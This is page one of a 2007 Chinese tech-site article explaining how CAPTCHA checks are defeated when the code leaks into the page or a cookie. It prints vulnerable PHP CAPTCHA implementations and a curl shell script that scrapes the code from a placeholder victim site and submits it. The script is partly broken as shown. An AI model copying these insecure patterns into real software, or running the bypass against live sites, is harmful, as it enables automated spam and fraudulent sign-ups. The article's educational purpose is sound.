简体版  |  繁体版   推荐信息: 阅读排行 | 滚动 | 微软SOA高峰会 | 中型企业创新社区 | 随心所欲发新闻
安全频道

看看黑客如何破解验证码机制

出处:PC WORLD 作者:佚名 2007-08-20 10:54 评论
字体大小: | |
所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。

  所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。

  输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。

  很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。

  验证码在网页中的例子:

  CODE:

  /*

  * Filename: authpage.php

  * Author: hutuworm

  * Date: 2003-04-28

  * @Copyleft hutuworm.org

  */

  srand((double)microtime()*1000000);

  //验证用户输入是否和验证码一致

  if(isset($HTTP_POST_VARS['authinput']))

  {

  if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)

  echo "验证成功!";

  else

  echo "验证失败!";

  }

  //生成新的四位整数验证码

  while(($authnum=rand()%10000)<1000);

  ?>

  请输入验证码:

  >

  >

  [Copy to clipboard]

  以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。

  CODE:

  #!/bin/sh

  curl [url]http://www.vicitm.org/authpage.php[/url]

  authinput=`grep '' grep.txt | sed -e 's/[^0-9]//g'` #得到网页中的

  authnum

  curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="验证" -d authnum=$authnum

  [Copy to clipboard]

  CODE:

  session_register("authnum");

  $authnum = strval(rand("1111","9999"));

  setcookie("authnum",$authnum);

  ...

  ...

  if($number != $login_check_number || empty($number))

  {

  print("校验码不正确!");

  die();

  }

  [Copy to clipboard]

  

共2页。 1 2 :
相关文章
  • 本文关键字:
  • 网友关注
    热门产品
    编辑推荐
    推荐专题
    更多
    思科
  • 打开网络创新之门
  • 思科公司于北京嘉里中心饭店成功举办了主题为“创新网络,绿色引擎”的思科创新日暨思科新品发布会。
  • 论坛热贴
    更多
    博客精选
    更多
    视频推荐
    更多
  • 杜青松:对IT人员要求别具一格
  • 在对杜青松的采访中,他透露出目前在中粮包装有限公司信息化建设的工作中的一个难点——IT人力资源短缺。
  • TMG

    Copyright (C) 1999-2008 Chinabyte.com, All Rights Reserved 版权所有 天极网络

    渝ICP证B2-20030003号 商务联系、网站内容、合作建议:010-82657868

    版权声明 在线提交意见反馈 Powered by 天极内容管理平台CMS4i

    经营性网站备案信息 网警备案 中国网站排名